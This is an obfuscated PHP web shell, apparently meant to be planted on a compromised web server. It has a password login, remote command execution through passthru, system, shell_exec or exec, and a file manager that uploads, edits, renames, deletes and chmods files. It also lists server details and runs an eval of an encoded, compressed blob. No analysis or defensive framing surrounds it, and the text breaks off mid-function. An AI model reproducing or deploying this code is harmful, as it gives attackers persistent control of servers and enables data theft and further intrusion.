goto nBqT7; lIZow: function vO2n3() { goto PZsu0; xDR11: return $MoDjz; goto XIpQ3; PZsu0: if (function_exists("\127\x74\152\x6e\x73")) { goto HSkbz; } goto qdkjd; hODdM: HSkbz: goto HkpZx; qdkjd: $MoDjz = "\74\x66\x6f\x6e\164\40\x63\x6f\x6c\x6f\x72\x3d\x72\x65\x64\x3e\x4f\106\106\x3c\57\x66\157\x6e\164\x3e"; goto pRyTO; pRyTO: goto o0Y49; goto hODdM; HkpZx: $MoDjz = "\74\x66\157\156\164\40\x63\157\x6c\x6f\x72\x3d\154\151\x6d\145\76\117\x4e\x3c\57\x66\x6f\156\164\x3e"; goto vPK1P; vPK1P: o0Y49: goto xDR11; XIpQ3: } goto HA1Mw; SS9XY: function Z88rC() { goto FvvNf; QCcqE: ibTDV: goto ZND3z; eQF4t: $A29MP = "\160\x61\x73\163\164\150\x72\x75"; goto QCcqE; ZND3z: if (!function_exists("\145\170\x65\143")) { goto HAJCl; } goto Iu2Rf; hsIck: Qjaeu: goto zrg7V; Jxcr2: $A29MP = "\x44\x69\x73\x61\142\154\x65\144"; goto FTq74; Iu2Rf: $A29MP = "\x65\170\x65\x63"; goto n3imI; oCkgy: $A29MP = "\x73\150\x65\154\x6c\137\x65\x78\x65\x63"; goto hsIck; UFfWx: return $A29MP; goto p8orN; NGwBu: if (isset($A29MP)) { goto WXLWu; } goto Jxcr2; n3imI: HAJCl: goto v36Ku; WdXgy: $A29MP = "\x73\171\x73\164\x65\155"; goto ZyP7m; FTq74: WXLWu: goto UFfWx; zrg7V: if (!function_exists("\163\171\163\164\145\155")) { goto zV3iE; } goto WdXgy; ZyP7m: zV3iE: goto NGwBu; FvvNf: if (!function_exists("\x70\x61\163\x73\x74\150\162\165")) { goto ibTDV; } goto eQF4t; v36Ku: if (!function_exists("\163\x68\145\154\154\x5f\145\170\145\x63")) { goto Qjaeu; } goto oCkgy; p8orN: } goto R6Aom; iHUAN: $G8Tql = "\43\x32\60\x32\x30\x32\60"; goto lANIx; FkqSy: TmjWn: goto pEZ1A; PC00D: if (!($GvDzs = opendir("\56"))) { goto X0NbZ; } goto MulRR; OgeN2: b5PxL: goto KPjap; i7GBJ: if (!($_POST["\160\x61\163\163"] == $ym729)) { goto Ro042; } goto nAKmm; THaT5: unlink($b3h25); goto Csmi5; WKjZl: chmod($b3h25, $NYRK2); goto VMUyB; NdUBD: foreach ($wQkq6 as $UV9Rq) { goto QXQTR; WN0MH: goto gJ2PU; goto PYVSS; WkFGy: cOMta: goto sIkwj; L1X2o: print "\x3c\x74\x64\40\x69\x64\x3d\42\x66\x63\42\x3e\74\57\x74\x64\76\74\x74\x72\40\x69\x64\75\x22\146\156\42\76"; goto WkFGy; bGuya: print "\x3c\x74\144\40\x69\144\75\42\146\143\x22\40\141\154\x69\147\x6e\75\42\143\145\156\x74\x65\x72\x22\x3e\74\141\40\150\162\145\146\75\x22\152\141\166\141\x73\143\162\x69\160\x74\x3a\x78\171\156\x28\47\x72" . $UV9Rq . "\47\x2c\x27\x6e" . $UV9Rq . "\x27\51\x22\76\133\x52\x5d\74\x2f\x61\x3e\40\74\x61\40\x68\162\145\x66\75\x22\152\x61\166\141\163\x63\x72\151\x70\164\x3a\170\171\x6e\50\x27\144" . $UV9Rq . "\47\54\47\156" . $UV9Rq . "\x27\51\42\76\133\x44\x5d\74\57\x61\x3e\x3c\57\164\x64\76\x3c\x74\x72\x20\x69\x64\x3d\x22\146\x6e\x22\76"; goto c7N_w; pBHOi: $gdk6U["\156\141\x6d\x65"] = "\77\x3f\77"; goto WN0MH; bxAME: r2b8O: goto L1X2o; IEQmy: $gdk6U = posix_getgrgid(filegroup($UV9Rq)); goto gnXr0; M1Dzk: if ($h0yPf == 0 or $h0yPf == 1) { goto r2b8O; } goto bGuya; sIkwj: $h0yPf++; goto Np8Hu; gnXr0: gJ2PU: goto Z0wvT; Lceux: $WiNCA = posix_getpwuid(fileowner($UV9Rq)); goto IEQmy; QXQTR: if (function_exists("\x70\x6f\x73\x69\x78\x5f\147\x65\x74\160\167\x75\151\x64") && function_exists("\160\x6f\163\x69\170\x5f\x67\x65\164\147\x72\x67\151\144")) { goto OXPVR; } goto ydJvk; ydJvk: $WiNCA["\156\x61\155\145"] = "\77\77\77"; goto pBHOi; PYVSS: OXPVR: goto Lceux; Np8Hu: HGUPb: goto AZ_81; c7N_w: goto cOMta; goto bxAME; Z0wvT: print "\x3c\x74\144\40\151\x64\75\42\x66\143\42\76\x3c\163\160\141\x6e\x20\x69\144\75\x22\x6e" . $UV9Rq . "\42\x3e\74\x61\40\x68\x72\x65\x66\x3d\42\77\x64\75" . realpath($UV9Rq) . "\x22\x3e" . $UV9Rq . "\x3c\57\141\x3e\x3c\57\x73\160\x61\x6e\x3e\74\163\x70\141\156\40\151\144\x3d\42\x72" . $UV9Rq . "\42\40\163\x74\x79\x6c\145\75\42\144\151\x73\160\x6c\x61\171\x3a\156\x6f\x6e\145\x3b\42\76\74\x66\157\x72\x6d\40\141\x63\164\x69\x6f\x6e\x3d\42\x3f\x64\75" . realpath("\56") . "\42\x20\x6d\x65\x74\150\x6f\x64\x3d\42\x50\117\123\124\42\76\74\151\x6e\160\165\x74\40\x74\x79\x70\145\75\x22\x68\151\x64\144\145\x6e\42\40\166\141\x6c\x75\145\x3d\x22" . realpath("\56") . "\x22\x20\x6e\x61\x6d\x65\x3d\42\144\42\x3e\40\74\x69\x6e\160\x75\x74\40\x74\x79\160\145\x3d\x22\x74\x65\170\164\x22\x20\x76\x61\x6c\165\x65\75\42" . $UV9Rq . "\x22\x20\x69\144\x3d\x22\x6c\164\42\x20\156\x61\x6d\145\75\x22\x6e\145\167\x22\x3e\74\151\156\x70\165\164\40\164\171\x70\x65\75\x22\150\151\x64\x64\x65\156\42\40\x76\x61\x6c\165\145\75\42" . $UV9Rq . "\x22\40\156\x61\x6d\145\75\42\157\x6c\144\42\x3e\x20\74\x69\x6e\x70\165\164\x20\x74\x79\160\x65\x3d\42\x73\165\x62\155\x69\x74\x22\x20\151\144\x3d\42\154\164\42\x20\x76\141\x6c\165\145\x3d\42\122\x65\156\141\x6d\145\42\x3e\x20\74\x69\x6e\x70\x75\164\40\x74\171\160\x65\75\42\142\165\x74\x74\157\156\x22\40\x69\144\75\x22\x6c\164\x22\x20\166\141\154\165\x65\75\x22\x43\141\x6e\143\x65\154\42\40\157\x6e\103\154\151\143\x6b\x3d\42\170\x79\156\x28\x27\156" . $UV9Rq . "\47\54\x27\162" . $UV9Rq . "\47\x29\x3b\42\76\74\57\146\x6f\x72\x6d\x3e\x3c\57\x73\160\x61\x6e\x3e\74\163\160\x61\156\x20\151\144\75\x22\144" . $UV9Rq . "\42\40\163\164\171\154\x65\75\42\144\151\x73\x70\x6c\141\x79\72\156\157\156\145\x3b\x22\76\x3c\x66\x6f\162\155\x20\x61\143\x74\x69\157\x6e\75\x22\77\x64\75" . realpath("\56") . "\x22\x20\155\x65\164\150\157\144\75\x22\107\x45\x54\42\x3e\101\162\145\x20\171\x6f\x75\x20\x53\165\x72\x65\77\74\x69\x6e\160\x75\164\40\164\171\x70\145\75\42\x68\x69\x64\144\x65\x6e\42\x20\166\141\x6c\x75\145\x3d\x22" . realpath($UV9Rq) . "\x22\40\x6e\141\x6d\145\75\x22\x64\x65\x6c\x64\42\76\x20\74\x69\x6e\160\x75\164\40\164\x79\160\145\x3d\x22\x73\165\142\155\x69\164\x22\x20\166\x61\154\165\x65\75\x22\131\x65\x73\42\x20\x69\144\x3d\x22\154\164\42\x3e\40\x3c\151\156\160\x75\x74\x20\x74\171\160\x65\x3d\42\x62\x75\164\x74\x6f\156\42\40\x69\x64\75\42\x6c\164\x22\x20\x76\141\154\x75\x65\75\42\x4e\157\x22\x20\x6f\156\103\x6c\151\x63\x6b\75\x22\170\171\x6e\x28\x27\x6e" . $UV9Rq . "\47\54\x27\x64" . $UV9Rq . "\x27\51\x22\x3e\74\57\x66\x6f\x72\155\76\x3c\x2f\x73\160\141\156\76\74\57\164\144\76\x3c\164\144\40\x69\144\75\x22\x66\x63\x22\40\141\x6c\x69\147\x6e\x3d\42\143\145\x6e\x74\x65\x72\x22\x3e\x3c\x73\160\x61\156\40\151\144\75\x22\150" . $UV9Rq . "\42\76\x3c\x61\40\150\x72\145\146\x3d\42\152\141\x76\141\x73\x63\x72\151\160\x74\x3a\x78\171\x6e\50\x27\143" . $UV9Rq . "\x27\54\47\x68" . $UV9Rq . "\x27\x29\x3b\x22\76\74\x66\x6f\156\164\40\x63\x6f\154\x6f\162\75\42" . JDZMB($UV9Rq) . "\42\76" . OOf7D($UV9Rq) . "\74\x2f\146\157\156\164\76\74\57\x61\76\x3c\57\x73\x70\x61\156\x3e\74\x73\160\141\156\40\151\144\75\x22\143" . $UV9Rq . "\x22\x20\163\x74\171\x6c\145\x3d\x22\x64\151\163\x70\154\141\x79\72\x6e\x6f\x6e\145\x3b\x22\x3e\x3c\146\157\x72\155\x20\141\143\164\151\x6f\x6e\x3d\42\77\144\75" . realpath("\x2e") . "\42\x20\155\x65\x74\x68\157\x64\x3d\42\x47\105\124\x22\x3e\x3c\151\x6e\160\165\x74\x20\x74\171\x70\145\75\x22\x68\151\144\x64\145\156\42\40\x76\141\x6c\165\x65\75\x22" . realpath($UV9Rq) . "\x22\40\x6e\x61\x6d\x65\x3d\x22\x64\146\42\x3e\74\151\156\x70\165\x74\x20\x74\x79\160\145\x3d\x22\164\145\170\164\42\x20\166\x61\x6c\165\145\x3d\42" . Oof7d($UV9Rq) . "\x22\40\x69\x64\x3d\42\154\164\42\x20\x6e\141\155\x65\75\42\x63\150\42\76\40\74\151\x6e\160\165\x74\40\164\171\x70\145\x3d\42\x73\x75\142\155\151\164\x22\40\x69\144\75\42\154\164\x22\x20\166\141\154\165\x65\75\x22\x47\157\42\76\x20\74\151\x6e\160\x75\164\x20\164\x79\x70\x65\x3d\x22\x62\x75\x74\164\x6f\x6e\42\40\151\x64\x3d\42\x6c\x74\42\x20\166\141\154\165\x65\75\x22\103\x61\156\x63\145\x6c\42\x20\x6f\x6e\x43\154\151\x63\x6b\75\42\170\x79\156\50\x27\x68" . $UV9Rq . "\47\x2c\47\143" . $UV9Rq . "\47\x29\x3b\x22\76\x3c\57\x66\157\x72\x6d\x3e\x3c\57\x73\x70\141\x6e\76\x3c\x2f\x74\144\76\74\x74\144\x20\x69\144\75\42\146\143\42\40\141\154\151\147\x6e\75\x22\143\145\x6e\x74\145\x72\42\76" . $WiNCA["\x6e\x61\155\x65"] . "\x20\72\x20" . $gdk6U["\x6e\x61\155\x65"] . "\74\57\164\x64\x3e"; goto M1Dzk; AZ_81: } goto FkqSy; Z5Exx: print "\x3c\x2f\164\141\x62\x6c\145\x3e\74\57\142\162\76\x3c\57\x62\162\76\74\57\x62\162\x3e"; goto Z8M5L; dBWiJ: eval(gzuncompress(base64_decode(str_rot13("\162\127\x6b\x79\110\101\x67\144\x74\60\116\x44\x2f\115\111\x4f\x57\130\x69\164\x63\x46\x78\60\147\x4f\125\157\x75\154\x58\x78\107\x30\63\111\71\120\x4b\126\x4c\141\x49\x66\x4f\102\101\x68\x33\x4d\122\170\165\x43\x6b\x37\111\x30\62\165\143\107\x4e\103\x5a\x32\x70\64\171\153\x79\107\x71\x62\127\x52\126\x45\x62\x56\152\156\x64\111\x44\145\x57\132\x61\x78\x47\x6b\x72\x6b\x45\x69\x32\x46\x63\x41\x31\152\x61\x59\x6f\127\x77\x41\64\x4f\x38\130\x4c\x45\x74\x50\122\x6c\62\x6d\x34\104\x61\x4c\x77\x78\164\x64\117\x66\150\x63\114\x6a\x54\114\x73\x47\161\142\x54\x7a\163\x6d\x6b\53\124\x6c\x39\103\63\155\113\153\x7a\x2b\162\170\x31\106\x79\171\61\x2b\x6a\113\125\60\x67\142\x7a\106\171\x54\x2f\x76\123\x37\x30\x6a\x4e\144\x77\x64\x4f\x69\x78\141\x52\166\71\122\106\71\x76\x46\x66\x78\114\x59\131\x4b\x4c\63\x39\153\x6f\63\x33\141\155\x6b\64\101\63\x42\x6f\57\x6b\120\130\x48\x2f\150\127\x55\102\x74\x6c\165\x68\x53\121\x76\x77\144\132\101\x39\103\x67\130\102\x7a\66\64\141\x44\x32\171\64\107\104\x69\164\x56\104\64\x39\x35\166\161\60\64\x54\x70\x2b\107\x74\110\x66\x61\x76\110\151\126\143\x4a\155\144\126\144\161\x6e\x67\x43\67\x45\x43\x45\x6a\102\157\x76\x4a\66\x69\x6e\x69\x43\x6a\145\114\104\127\x4d\x6e\124\x4e\62\154\x43\147\117\103\x79\x46\124\x73\145\64\105\156\101\113\x4b\102\102\x34\124\x51\x53\103\x2f\144\x36\130\x73\x79\x4b\x77\x39\63\x57\x32\167\131\105\170\x2b\x6c\x61\x37\x73\120\167\x6d\x55\114\164\x30\x32\113\157\x6a\107\x70\x4a\x33\x55\x30\x64")))); goto tSZ3Q; U99Ht: function xECDv() { print "\74\x74\x61\x62\154\145\40\142\x6f\162\x64\145\162\75\60\40\x77\x69\x64\x74\x68\x3d\x31\60\x30\45\40\x68\x65\x69\x67\x68\164\75\x31\x30\60\x25\40\141\154\151\x67\156\x3d\143\145\x6e\x74\x65\x72\x20\x73\164\171\x6c\145\x3d\42\x62\141\x63\x6b\x67\x72\x6f\165\x6e\x64\x3a\x23\x32\60\62\x30\62\60\x3b\x63\x6f\x6c\x6f\162\x3a\154\151\155\x65\73\42\x3e\74\x74\144\40\166\141\154\151\147\x6e\75\x22\x6d\x69\144\x64\154\145\42\76\74\x63\145\x6e\164\x65\162\x3e\x3c\x66\x6f\162\x6d\x20\x61\143\x74\151\x6f\156\75\x22" . basename(__FILE__) . "\x22\40\155\x65\x74\x68\157\144\75\42\120\x4f\123\x54\x22\x3e\120\141\x73\x73\x77\x6f\162\144\40\x3c\151\156\160\x75\x74\x20\164\x79\160\x65\75\x22\160\x61\163\x73\x77\157\x72\x64\42\40\155\x61\x78\154\145\156\147\x74\150\x3d\42\x31\x30\x22\x20\156\x61\155\145\75\x22\160\141\x73\x73\42\40\163\x74\x79\154\145\x3d\42\x62\x61\x63\x6b\x67\162\x6f\x75\156\x64\x3a\x23\x32\60\62\60\62\x30\73\143\x6f\154\157\162\72\154\x69\155\x65\73\x62\157\162\144\145\x72\x2d\x72\141\144\151\x75\163\x3a\61\x30\x70\x78\73\142\157\x72\x64\x65\162\x3a\x31\x70\x78\x20\163\x6f\154\151\x64\40\x73\151\154\x76\145\x72\x3b\x74\145\170\164\x2d\x61\x6c\x69\x67\x6e\x3a\143\x65\156\164\x65\162\x3b\x22\x3e\x20\74\x69\x6e\x70\165\164\x20\164\171\160\x65\x3d\x22\x73\x75\142\155\x69\x74\42\40\166\x61\154\165\x65\x3d\42\x3e\76\42\x20\x73\164\x79\154\x65\x3d\x22\142\141\x63\x6b\x67\x72\x6f\x75\x6e\x64\72\43\x32\x30\x32\x30\62\60\x3b\143\157\x6c\x6f\x72\x3a\x6c\151\155\x65\x3b\142\157\x72\x64\145\x72\x2d\x72\141\144\151\x75\163\72\x31\60\160\x78\73\x62\x6f\x72\x64\145\x72\72\x31\x70\170\40\163\x6f\x6c\151\144\40\163\151\x6c\x76\145\x72\73\x22\x3e\x3c\x2f\x66\157\162\155\76\x3c\x2f\x63\x65\156\x74\x65\162\x3e\74\x2f\164\x64\x3e\74\57\164\141\x62\x6c\x65\x3e"; } goto T212o; YZmkz: foreach ($HD3L6 as $C2b01 => $rQ731) { print "\74\164\144\76" . $C2b01 . "\74\57\164\144\x3e\x3c\x74\144\x3e\x20\72\76\x20\74\x2f\164\144\76\74\164\144\x3e\40" . $rQ731 . "\x3c\x2f\x74\x64\x3e\74\x74\162\x3e"; gtR0f: } goto wvPux; lANIx: $YudEX = "\x63\162\x69\155\x73\157\156"; goto hwiJw; ZuL9H: if (!isset($_FILES["\165\160\146\x69\154\145"]["\156\141\x6d\145"])) { goto b5PxL; } goto Lh132; Lh132: $b3h25 = realpath("\x2e") . DIRECTORY_SEPARATOR . basename($_FILES["\165\x70\146\x69\154\x65"]["\156\141\x6d\145"]); goto wfYo4; Py3Ky: $qHTzf = $_POST["\157\x6c\144"]; goto IaJlN; R6Aom: function W8Esw($A29MP, $C2ngF) { goto QbwqM; YOeKL: goto oByAf; goto SRclq; QbwqM: if ($A29MP == "\x70\x61\163\x73\x74\150\x72\x75") { goto CUDl8; } goto NzlXs; EsNq_: passthru($C2ngF); goto PtMWi; QkKsP: ARBSj: goto WVCfn; SRclq: CUDl8: goto EsNq_; jFeAq: goto oByAf; goto Cg1K5; oMgGz: goto oByAf; goto BJ_Qx; UqnfF: exec($C2ngF, $EMJjc); goto dy3aJ; YYdrl: Ez4rI: goto i2Hfq; k9juE: if ($A29MP == "\163\150\x65\154\x6c\x5f\x65\x78\x65\143") { goto N74Kg; } goto kvLqG; BJ_Qx: Sa6zF: goto UqnfF; Cg1K5: N74Kg: goto L2QMD; PtMWi: goto oByAf; goto QkKsP; dy3aJ: foreach ($EMJjc as $qHTzf) { print $qHTzf . "\x3c\57\142\x72\76"; MlAA1: } goto YYdrl; KBB05: print "\144\141\146\165\x71\77"; goto YOeKL; kvLqG: if ($A29MP == "\x65\x78\x65\143") { goto Sa6zF; } goto KBB05; WVCfn: system($C2ngF); goto jFeAq; NzlXs: if ($A29MP == "\163\171\163\164\145\155") { goto ARBSj; } goto k9juE; L2QMD: print shell_exec($C2ngF); goto oMgGz; i2Hfq: oByAf: goto jEm6g; jEm6g: } goto U99Ht; CFhcj: q8n5u: goto jJktS; w4SJM: $tDjQt = ini_get("\163\x61\x66\x65\x5f\155\x6f\x64\x65"); goto lv17c; UwImL: print $T2lPK; goto i0TYs; lzsYC: $h0yPf = 0; goto NdUBD; MUkex: X0NbZ: goto Z5Exx; LTDkI: $gKRnL = php_uname(); goto qJ6Fi; u0ifl: goto m3eF4; goto X1jEu; a3G7I: print "\x3c\x74\141\x62\154\145\40\x77\151\x64\x74\150\x3d\42\x37\x35\x25\x22\x20\x61\154\151\147\156\x3d\42\x63\x65\156\164\145\162\x22\x20\x69\144\x3d\42\146\164\42\x20\x3e\74\164\x64\x20\x69\x64\x3d\x22\146\x68\42\76\x3c\142\x3e\x4e\141\155\145\x3c\x2f\142\76\x3c\57\x74\144\x3e\x3c\164\144\40\151\x64\75\42\x66\x68\42\40\141\x6c\x69\147\x6e\75\x22\143\145\156\164\145\162\42\x3e\74\x62\76\120\145\162\155\x69\163\x73\151\157\x6e\x73\x3c\x2f\142\x3e\x3c\x2f\164\144\76\x3c\164\144\40\x69\144\x3d\x22\x66\x68\x22\x20\x61\154\x69\x67\156\75\42\143\145\156\164\x65\x72\x22\76\x3c\142\x3e\117\x77\156\x65\162\74\x2f\x62\x3e\x3c\x2f\x74\144\x3e\x3c\x74\144\40\151\x64\75\42\146\x68\x22\x20\141\x6c\151\147\x6e\75\x22\x63\145\x6e\x74\x65\x72\42\76\74\x62\76\x4f\x70\x74\x69\x6f\156\x73\x3c\57\x62\x3e\x3c\57\x74\144\76\x3c\x74\162\40\151\144\75\42\146\x6e\42\76"; goto PC00D; fHCGD: goto y1aGj; goto CFhcj; TW6hJ: $VW1tR = "\x3c\x2f\x62\157\x64\x79\x3e\x3c\57\x68\164\x6d\154\x3e"; goto p50L9; lv17c: $tDjQt = $tDjQt ? "\74\146\x6f\156\x74\x20\143\157\x6c\x6f\162\x3a\x6c\x69\x6d\145\x3e\x4f\116\x3c\x2f\146\x6f\x6e\x74\76" : "\74\146\x6f\156\x74\x20\143\x6f\154\x6f\162\x3d\162\145\144\x3e\117\x46\x46\74\57\146\157\156\164\x3e"; goto EPnZB; wvPux: CcGNt: goto yF9Ab; pt5pF: if (!isset($_POST["\160\x61\x73\x73"])) { goto tg6Rd; } goto i7GBJ; UQbcP: Ro042: goto C5ZNi; qQZpz: if (!isset($_GET["\143\150"])) { goto cKxWk; } goto JFyK8; fXfxo: function Nb5DP($toMxI) { goto kW7pz; Rg3O0: if ($toMxI >= 1048576) { goto oCZG_; } goto eBRQl; eBRQl: if ($toMxI >= 1024) { goto KrxkK; } goto FCLRp; J6j71: $toMxI = round($toMxI / 1073741824 * 100) / 100 . "\x47\102"; goto FDB2N; CNcED: goto GBUWQ; goto qK3Zi; kW7pz: if ($toMxI >= 1073741824) { goto PkZVi; } goto Rg3O0; Rbnia: $toMxI = round($toMxI / 1048576 * 100) / 100 . "\115\x42"; goto CNcED; FCLRp: $toMxI = $toMxI . "\102"; goto Hgiox; TOUfA: PkZVi: goto J6j71; Hgiox: goto GBUWQ; goto TOUfA; gcl2I: GBUWQ: goto Fs2f1; qK3Zi: KrxkK: goto odUeB; FDB2N: goto GBUWQ; goto qO3Cj; odUeB: $toMxI = round($toMxI / 1024 * 100) / 100 . "\x4b\102"; goto gcl2I; Fs2f1: return $toMxI; goto MLxMk; qO3Cj: oCZG_: goto Rbnia; MLxMk: } goto gRaJ0; C1MDy: XeCDV(); goto XKanr; IaJlN: $b3h25 = $_POST["\x64"]; goto vR4v0; EPnZB: $OrIcc = getcwd(); goto iHUAN; X1jEu: afqiy: goto R19zR; yF9Ab: print "\x3c\x74\144\40\143\157\x6c\163\160\141\156\75\63\40\141\154\151\x67\156\75\42\143\145\156\164\x65\162\42\76\x3c\141\x20\150\162\x65\146\75\x22\77\x78\x3d\x70\x68\x70\x69\x6e\x66\42\x20\x74\x61\162\147\x65\164\x3d\x22\137\142\x6c\141\156\x6b\42\76\x50\x48\120\x49\x6e\146\x6f\x3c\57\141\x3e\x3c\57\x74\x64\x3e\x3c\57\164\x61\x62\154\145\x3e"; goto iJxJ0; Zdcxz: function aLOR5() { goto fsNEu; Cj_Vt: kuLcq: goto XBImz; SQsi4: $qHTzf = "\74\146\x6f\x6e\164\40\143\157\x6c\x6f\x72\75\x6c\151\155\145\76\117\x4e\x3c\x2f\x66\157\x6e\164\76"; goto n4YQX; XBImz: $qHTzf = "\74\146\x6f\156\x74\40\143\157\x6c\157\x72\75\162\145\144\76\117\106\x46\74\x2f\146\x6f\156\164\x3e"; goto JdoRA; NS3bt: if (!$r6tPu) { goto kuLcq; } goto SQsi4; j7PS1: return $qHTzf; goto Fvn2Q; fsNEu: $r6tPu = ini_get("\157\x70\145\156\137\142\141\163\x65\144\x69\x72"); goto NS3bt; n4YQX: goto JJfV1; goto Cj_Vt; JdoRA: JJfV1: goto j7PS1; Fvn2Q: } goto wSc1F; MVMIW: m3eF4: goto cYJtD; GHtfx: mkdir($b3h25 . DIRECTORY_SEPARATOR . $C2b01); goto i4mq1; RvkmY: print "\74\164\141\x62\x6c\x65\40\x69\144\75\x22\x6d\x6f\162\145\111\x22\x3e"; goto YZmkz; TtksW: a94Dy: goto LbmRl; NkVdQ: ycMQr: goto e5y7B; uRABU: CTVaB: goto MUkex; DCIXO: function J9BBc() { goto HQcnX; wPMmx: return $A29MP; goto AE56U; DeosQ: $A29MP = "\x3c\146\x6f\156\164\x20\x63\x6f\x6c\x6f\x72\x3d\x72\x65\x64\76\117\106\x46\x3c\x2f\x66\157\x6e\164\76"; goto RGjO7; Dk5dx: QfiSl: goto wPMmx; atUI3: $A29MP = "\74\146\x6f\x6e\164\x20\143\x6f\154\157\x72\75\154\x69\155\x65\76\x4f\116\74\57\146\157\156\x74\x3e"; goto Dk5dx; HQcnX: if (function_exists("\147\172\x65\x6e\143\157\x64\x65")) { goto PXNzb; } goto DeosQ; NVUOe: PXNzb: goto atUI3; RGjO7: goto QfiSl; goto NVUOe; AE56U: } goto fXfxo; Zkio4: if (!isset($_POST["\x6e\145\167"])) { goto Ghujk; } goto cz3Qb; qVvcf: if (is_dir($UV9Rq)) { goto afqiy; } goto IpWoZ; jJktS: print "\74\160\x20\151\144\x3d\x22\142\x63\153\x22\x3e\x3c\x61\x20\x68\162\145\146\x3d\x22\x3f\144\x3d" . realpath("\x2e") . "\42\x3e\x42\x41\x43\x4b\x3c\57\141\x3e\x3c\x2f\x70\76"; goto yb2Pl; XX6eH: $b3h25 = $_GET["\144"]; goto kv8EH; NKYDD: $ym729 = "\x61\144\155\61\x33\63\67"; goto vcJ56; i0TYs: $HD3L6 = array("\120\110\x50\40\126\145\x72\x73\151\157\x6e" => phpversion(), "\x5a\x65\156\x64\x20\x56\145\162\163\151\157\x6e" => zend_version(), "\103\165\x72\154" => GsYzf(), "\x52\x65\x67\151\x73\x74\145\x72\40\x47\154\157\x62\141\x6c\x73" => wj6fu(), "\117\160\x65\156\102\141\x73\x65\x20\104\151\162" => alor5(), "\x4d\171\x53\x51\114" => X8f12(), "\x47\172\151\160" => j9Bbc(), "\115\163\x53\121\x4c" => YA1qo(), "\120\x6f\163\x74\x67\162\145\123\x51\114" => Vo2N3(), "\x4f\162\x61\143\154\x65" => NFury(), "\124\157\x74\x61\x6c\40\123\160\x61\x63\145" => Nb5DP(disk_total_space("\57")), "\x55\x73\145\x64\40\123\x70\x61\143\145" => nB5dp(disk_free_space("\x2f")), "\131\157\x75\x72\x20\x49\x50" => $_SERVER["\122\x45\115\117\x54\x45\x5f\x41\104\x44\122"], "\123\145\162\x76\145\x72\40\x49\120" => $_SERVER["\x53\105\122\126\x45\x52\x5f\101\x44\104\x52"]); goto RvkmY; d6Gpp: $B1KHo = array(); goto Qfe6Y; CNzef: if (!(false !== ($UV9Rq = readdir($GvDzs)))) { goto jz7cP; } goto qVvcf; cYJtD: goto H5ftD; goto jyHMN; revXP: $b3h25 = $_GET["\144\145\x6c\x64"]; goto XTBCp; LCo_P: if (!isset($_GET["\x6e\144\x69\162"])) { goto fI2Jr; } goto XX6eH; IETeT: q9Jf2: goto vR_7C; yb2Pl: switch ($_REQUEST["\x78"]) { case "\x63": goto i0kxx; jNSS8: goto CHHtv; goto uR8dt; r_pZ3: P6IuD: goto yr9eP; i0kxx: if (!isset($_POST["\x65\144\151\164\137\146\157\x72\x6d"])) { goto sz0rc; } goto w1uG3; xBAt_: fclose($FQMi1); goto U5xvZ; UUZ8A: LPwJ6: goto r_pZ3; T_hZh: $FQMi1 = fopen($zfvI0, "\167") or print "\x3c\160\40\x69\x64\x3d\42\156\x6e\42\76\105\x72\162\x6f\x72\x20\117\x70\x65\x6e\151\x6e\x67\x20\106\x69\x6c\145\74\57\160\x3e"; goto a_2Z6; yr9eP: print "\74\x2f\x74\x65\x78\x74\141\162\x65\141\x3e\x3c\57\142\162\x3e\x3c\x2f\x62\162\76\74\151\x6e\x70\165\164\40\164\x79\x70\145\75\42\163\165\x62\x6d\x69\164\42\x20\166\141\154\165\x65\75\42\x53\x61\166\x65\x22\40\151\x64\x3d\x22\x73\166\x22\76\74\x2f\x66\157\x72\x6d\76\74\x2f\143\x65\x6e\x74\145\x72\76"; goto jNSS8; FICh1: foreach ($C2ngF as $ISwsq) { print htmlspecialchars($ISwsq); VqXR6: } goto UUZ8A; s7RML: if (!file_exists($_GET["\146"])) { goto P6IuD; } goto FyY9m; FyY9m: $C2ngF = file($_GET["\x66"]); goto FICh1; U5xvZ: sz0rc: goto gfxRW; gfxRW: print "\x3c\143\145\x6e\164\145\162\76\74\160\76\x45\x64\151\x74\x69\156\x67\40" . $_GET["\146"] . "\x20\50" . oOF7d($_GET["\144"] . $_GET["\146"]) . "\51\40\x2e\x3c\x2f\160\76\x3c\x2f\142\162\76\74\x2f\142\x72\x3e\x3c\146\x6f\162\x6d\x20\x61\143\164\x69\x6f\x6e\75\42\x3f\170\75\143\x26\x64\x3d" . realpath("\56") . "\x26\x66\75" . $_GET["\146"] . "\42\x20\x6d\x65\x74\150\x6f\x64\75\42\120\x4f\123\x54\x22\x3e\x3c\x74\145\170\x74\141\x72\x65\x61\x20\143\157\x6c\163\x3d\x39\x30\x20\x72\x6f\167\163\75\x31\65\x20\x6e\x61\x6d\x65\75\x22\x65\144\x69\164\137\x66\x6f\162\x6d\x22\40\x69\144\75\x22\145\144\x69\164\x22\76"; goto s7RML; w1uG3: $zfvI0 = $_GET["\x66"]; goto T_hZh; a_2Z6: fwrite($FQMi1, $_POST["\145\144\151\x74\x5f\x66\157\x72\155"]) or print "\74\160\40\x69\x64\75\x22\156\x6e\42\76\103\157\165\x6c\x64\x6e\47\164\40\123\141\166\x65\x20\106\x69\x6c\x65\x3c\57\x70\x3e"; goto xBAt_; uR8dt: case "\x63\x6d\x64": goto tYI9Z; tYI9Z: print "\74\x2f\x62\162\76\x3c\57\x62\x72\x3e\74\143\x65\x6e\x74\x65\x72\x3e\74\150\63\76\105\170\x65\x63\165\x74\x65\40\103\157\155\x6d\141\156\x64\74\57\150\63\x3e\x3c\x66\x6f\162\x6d\40\141\143\x74\x69\157\x6e\x3d\42\x3f\x78\x3d\x63\x6d\144\x26\144\x3d" . realpath("\56") . "\42\x20\x6d\x65\164\150\157\144\x3d\x22\120\117\x53\124\x22\x3e\74\x69\x6e\160\165\164\x20\164\x79\x70\x65\75\42\x74\145\170\x74\x22\40\x76\141\154\x75\x65\x3d\42\42\40\156\x61\155\145\x3d\x22\x63\x6d\144\x22\x20\x69\144\x3d\42\x6c\x74\42\x3e\40\x20\x3c\x69\156\160\165\x74\x20\x74\x79\160\145\x3d\42\x73\165\x62\155\x69\164\42\x20\x76\141\x6c\165\x65\x3d\x22\x47\x6f\x22\40\151\x64\x3d\x22\154\164\x22\76\x3c\x2f\x66\x6f\x72\x6d\x3e\x3c\x2f\x62\162\76\74\164\145\x78\x74\x61\162\x65\141\x20\x63\157\x6c\x73\75\x39\60\40\162\x6f\167\163\75\61\x35\x20\x69\144\x3d\42\x65\x64\x69\164\x22\x3e"; goto bWfad; aXVZK: BxDJk: goto K4ZDP; K4ZDP: print "\x3c\x2f\164\x65\170\164\141\x72\145\x61\x3e\x3c\x2f\143\145\x6e\x74\x65\162\76"; goto LZ6lf; 